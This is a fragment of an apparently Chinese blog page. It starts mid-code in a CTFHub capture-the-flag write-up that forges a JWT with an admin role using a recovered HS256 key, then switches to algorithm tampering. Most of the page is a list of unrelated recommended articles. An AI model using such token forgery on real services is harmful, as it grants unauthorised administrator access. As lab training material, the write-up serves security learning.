'admin', 'password': 'password', 'role': 'admin'},"hqpf",algorithm="HS256"))

改成自己的密钥


成功

修改签名算法

linux

动态加载器

CTFHUB技能树(全详细解析含进阶)相关推荐

  1. 【进阶4-1期】详细解析赋值、浅拷贝和深拷贝的区别

    一.赋值(Copy) 赋值是将某一数值或对象赋给某个变量的过程,分为下面 2 部分 基本数据类型:赋值,赋值之后两个变量互不影响 引用数据类型:赋址,两个变量具有相同的引用,指向同一个对象,相互之间有 ...

  2. 【运筹学】线性规划 单纯形法 阶段总结 ( 初始基可行解 | 判定最优解 | 迭代 | 得到最优解 | 全流程详细解析 ) ★

    文章目录 一.线性规划示例 二.转化标准形式 三.查找初始基可行解 四.初始基可行解的最优解判定 五.第一次迭代 : 入基与出基变量选择 六.第一次迭代 : 方程组同解变换 七.第一次迭代 : 生成新 ...

  3. Android技能树 — 网络小结(6)之 OkHttp超超超超超超超详细解析

    前言: 本文也做了一次标题党,哈哈,其实写的还是很水,各位原谅我O(∩_∩)O. 介于自己的网络方面知识烂的一塌糊涂,所以准备写相关网络的文章,但是考虑全部写在一篇太长了,所以分开写,希望大家能仔细看 ...

  4. STM32之USART-串口通信(含串口实验详细解析)

    STM32之串口通信 - USART(含串口实验详细解析) 开发环境:Window 10 开发工具:Keil uVision5 MDK 硬件:STM32F103 资料参考: [正点原子]STM32F1 ...

  5. Java中如何实现数组反转,将数组元素倒过来排列?【含详细解析】

    Java中如何实现数组反转,将数组元素倒过来排列?[含详细解析] 数组元素反转:本来的样子{1,2,3,4,5},反转后{5,4,3,2,1}.要求,不能使用新数组. 分析过程 数组元素反转其实就是对 ...

  6. 超全医院化验项目名称及数值详细解析

    超全医院化验项目名称及数值详细解析 门诊常用化验正常值 项 目 正常值 静脉血 ALT (谷丙转氨酶) 0一4O IU/L AST (谷草转氨酶) 0一45 IU/L TP (总蛋白) 60一80 g ...

  7. 最全Linux驱动开发全流程详细解析(持续更新)

    Linux驱动开发详细解析 一.驱动概念 驱动与底层硬件直接打交道,充当了硬件与应用软件中间的桥梁. 具体任务 读写设备寄存器(实现控制的方式) 完成设备的轮询.中断处理.DMA通信(CPU与外设通信 ...

  8. 四六级1990年-2021年12月历年真题PDF电子版、含详细解析及听力。网站直接下载,持续更新

    已更新2021年12月最新真题!并且不断更新!直接网站下载!听力解析真题都有! 可下载,可在线预览 1990年-2021年12月四六级真题.解析及听力下载,电子PDF版本,在线听力,详细解析,无水印. ...

  9. CTFHub技能树之备份文件下载(胎教级解析)

    文章目录 前言 一,网站源码 二,bak文件 三,vim缓存 四,.DS_Store 总结 前言 ctfhub技能树--web--信息泄露--备份文件下载 总共四个题目 一,网站源码 打开题目以后,出 ...

最新文章

  1. 图解SQL基础知识,小白也能看懂的SQL文章!
  2. import是引进外部函数吗_vue3已正式发布,你学了吗
  3. python基础教程菜鸟教程-Python 基础教程
  4. Python入门--递归函数
  5. Java学习手册:数据结构与算法汇总
  6. 利用ansys计算机械结构最小安全系数教程,利用ANSYS计算复杂薄壁杆件截面特性.pdf...
  7. 如何制定软件开发计划
  8. WhatsApp对话生成器使用教程
  9. ps怎么缩放图层大小_PS怎么快速修改图层大小|Adobe Photoshop CS6图层大小尺寸调整--系统之家...
  10. 计算机信息管理的检索步骤,信息检索策略与步骤
  11. 高盐废水处理工艺——料液精制与除杂
  12. ruby_对象的比较_等于号_3个等于号_equal_eql
  13. NR RLC Protocol General and Procedure
  14. 常用的图像特征提取方法
  15. pycharm怎么设置成中文版的
  16. CentOs7下载与安装
  17. bitmap compress 图片压缩 图片文件大小处理
  18. 检测电脑接口是否为usb3.0--查看USB接口的传输协议
  19. c语言程序设计教程第二版李春葆,C语言程序设计教程.第2版
  20. 解码者:数学探秘之旅——读书笔记(一)

热门文章

  1. Ubuntu安装python3-tk
  2. 生经益气 马尾综合征
  3. alsa的 snd_pcm_readi 和 snd_pcm_writei
  4. C++ iota()函数实践
  5. java-net-php-python-ssm二手手机回购网站计算机毕业设计程序
  6. 指数增长真的存在吗? | 伊藤穰一论文翻译系列(2)
  7. 使用 FVTool 进行滤波器分析
  8. android+解锁图案错误次数多+老人,手贱密码图案解锁错了15次,不做死就不会死~!...
  9. 节流阀(结合案例轮播图)
  10. 有源电力滤波器的谐波治理方案